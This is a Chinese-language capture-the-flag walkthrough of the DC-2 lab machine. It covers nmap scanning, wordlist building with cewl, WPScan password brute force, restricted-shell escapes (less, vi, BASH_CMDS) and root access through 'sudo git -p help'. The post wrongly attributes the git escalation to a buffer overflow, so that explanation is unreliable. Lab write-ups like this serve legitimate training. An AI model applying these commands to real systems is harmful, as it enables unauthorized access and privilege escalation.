Loading

靶机DC-2 rbash绕过+git提权

这个靶机和DC-1一样,一共5个flag。全部拿到通关。

root@kali:/home/kali# nmap -sP 192.168.1.*

先扫一下靶机的IP地址,拿到靶机的地址为192.168.1.3。
再详细的对靶机进行扫描,尽可能多的获取靶机的信息。信息收集对于渗透测试非常重要,能否挖到漏洞往往取决于目标信息是否尽可能多的被收集。

root@kali:/home/kali# nmap -sS -Pn -A -p- -n 192.168.1.9
//-n/-R: -n表示不对目标最DNS解析,-R表示进行DNS解析,缺省为必要时候进行DNS解析
//-Pn:跳过主机发现,视所有主机都在线
//-A:使用系统探测、版本检测、脚本扫描、路由追踪

这里被坑了一下,在拿到端口的时候却无法访问,看WP才知道是域名解析的问题,在访问IP地址时会自动跳转到http://dc-2,其实在扫描的时候就有说到dc-2没有被写入,奈何太simple,忽略了。

将192.168.1.9 dc-2写入到hosts文件中,windows下的hosts文件的路径是

c:\windows\system32\drivers\etc\hosts

从我们扫描的结果来看这个站用的是WordPress,这是一个PHP语言和MySQL开发的博客平台。暴出过不少的漏洞。我们可以利用他的一些漏洞来getshell。
在成功访问目标的80端口的时候我们也拿到了第一个flag。意思大概就是使用一般的字典可能不管用,可能需要用到cewl,字典包含的密码多总是好的,但是不可能包含所有的,登录可以看到下一个flag。

cewl是一个字典生成工具。详情参考 https://www.freebuf.com/articles/network/190128.html
从第一个flag给的提示来看,应该是用cewl生成这个网站的字典然后登陆。

root@kali:/home/kali# cewl -w dc-2-password http://dc-2/
root@kali:/home/kali# cat dc-2-password 


生成了字典,但是网站并没有直接给后台的入口,那么我们可以扫这个网站的目录。
这里用到WpSan这款工具,WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞,
详情参考 https://www.freebuf.com/sectool/174663.html

root@kali:/home/kali# wpscan --url http://dc-2 --enumerate u
//–enumerate选项来扫描并发现关于目标站点主题、插件和用户名信息


获取到的信息:网站的几个目录,WordPress的版本,WordPress采用的主题,三个用户admin,jerry,tom。那么我们可以将拿到的三个用户写入字典当成用户名爆破

root@kali:/home/kali# touch dc-2-username
root@kali:/home/kali# vim dc-2-username   //将三个用户名写进去
root@kali:/home/kali# cat dc-2-username 
admin
jerry
tom

然后爆破

root@kali:/home/kali# wpscan --url http://dc-2 -U dc-2-username -P dc-2-password 

拿到jerry和tom的用户密码:adipiscing和parturient

但是我们并没有拿到网站的后台路径,常规思路扫后台。这里用dirb工具

root@kali:/home/kali# dirb http://dc-2

拿到后台的路径

用得到的两个用户名和密码登录。在jerry的账号里面拿到第二个flag,第二的flag的意思是如果你无法找到利用WordPress的捷径,还有另外一种方法,希望你能找到另一种方法。

做到这好像思路就断了,flag2没给什么有用的提示呀。在nmao扫描的时候还有一个点没用上,开放了7744端口ssh。我们用ssh连接DC-2主机试下。jerry账号连接显示权限限制,tom账号可以连接上。

root@kali:/home/kali# ssh tom@192.168.1.9 -p 7744


查看当前目录下的文件,拿到flag3.txt,单纯的我一开始以为这个就是flag3的内容,再看一眼这好像是报错信息吧。不懂就谷歌,rbash就是受限制的bash,一般管理员会限制很多命令,显然这里cat命令无法使用。

那查看可用的命令有哪些。

可以使用的命令有less、ls、scp、vi。这里涉及到了rbash逃逸(啥呀,待会去瞅瞅)
使用less绕过:$less test 然后!'sh'
使用ls绕过:$man ls 然后!'sh'
使用vi绕过:$vi test 然后:!/bin/sh 或者 :!/bin/bash
还可以用 BASH_CMDS[a]=/bin/sh;a 直接绕过

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a	//切换shell
$ export PATH=$PATH:/bin/	//添加$PATH,cat和su都在/bin下
$ export PATH=$PATH:/usr/bin	//sudo在/usr/bin下
$ cat flag3.txt

拿到flag3的内容。意思是可怜的Tom总是在追逐jerry,为jerry给他造成的压力他需要切换用户。

这里切换成jerry用户拿到flag4。

$ su jerry  //切换用户
Password: 

切换到jerry的用户目录拿到flag4。意思到了最后一步我们需要拿到最后的Flag。最后一句提示要用到git。

这里用git提权,原理是git存在缓冲区溢出漏洞,在使用sudo git -p help时,不需要输入root密码即可以root权限执行这条命令。

jerry@DC-2:~$ sudo git -p help


进入到root目录下,拿到最后的flag。

总结这个靶机涉及到的点:

1、linux下的hosts文件路径

/etc/hosts

2、cewl工具
CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。

cewl http://www.ignitetechnologies.in/  //默认方法
cewl http://www.ignitetechnologies.in/ -w dict.txt   //-w
cewl http://www.ignitetechnologies.in/ -m 9  //生成长度至少为9的密码  -m
cewl http://www.ignitetechnologies.in/ -n -e  //从网站中获取Email   -e
cewl http://www.ignitetechnologies.in/ -c  //计算网站字典中重复的单词数量  -c
cewl http://www.ignitetechnologies.in/ -d 3  //增加爬虫的爬取深度以生成更大的字典文件  -d
cewl http://www.ignitetechnologies.in/ --debug     //提取调试信息   -debug

3、WPScan工具
转载两篇大佬的文章,写得挺详细的
https://www.freebuf.com/sectool/88653.html 如何使用WPScan辅助渗透WordPress网站
https://xz.aliyun.com/t/2794#toc-0 WPScan使用完整教程之记一次对WordPress的渗透过程
4、linux的环境变量
PATH变量:设定解释器搜索所执行的的命令的路径。
export命令可以吧一般变量转换成全局变量
5、rbash逃逸
https://xz.aliyun.com/t/7642 rbash逃逸大全
6、git提权

sudo git help config
	!/bin/bash或者!'sh'完成提权
sudo git  -p help
	!/bin/bash
posted @ 2020-04-29 18:05  Hel10  阅读(969)  评论(0编辑  收藏  举报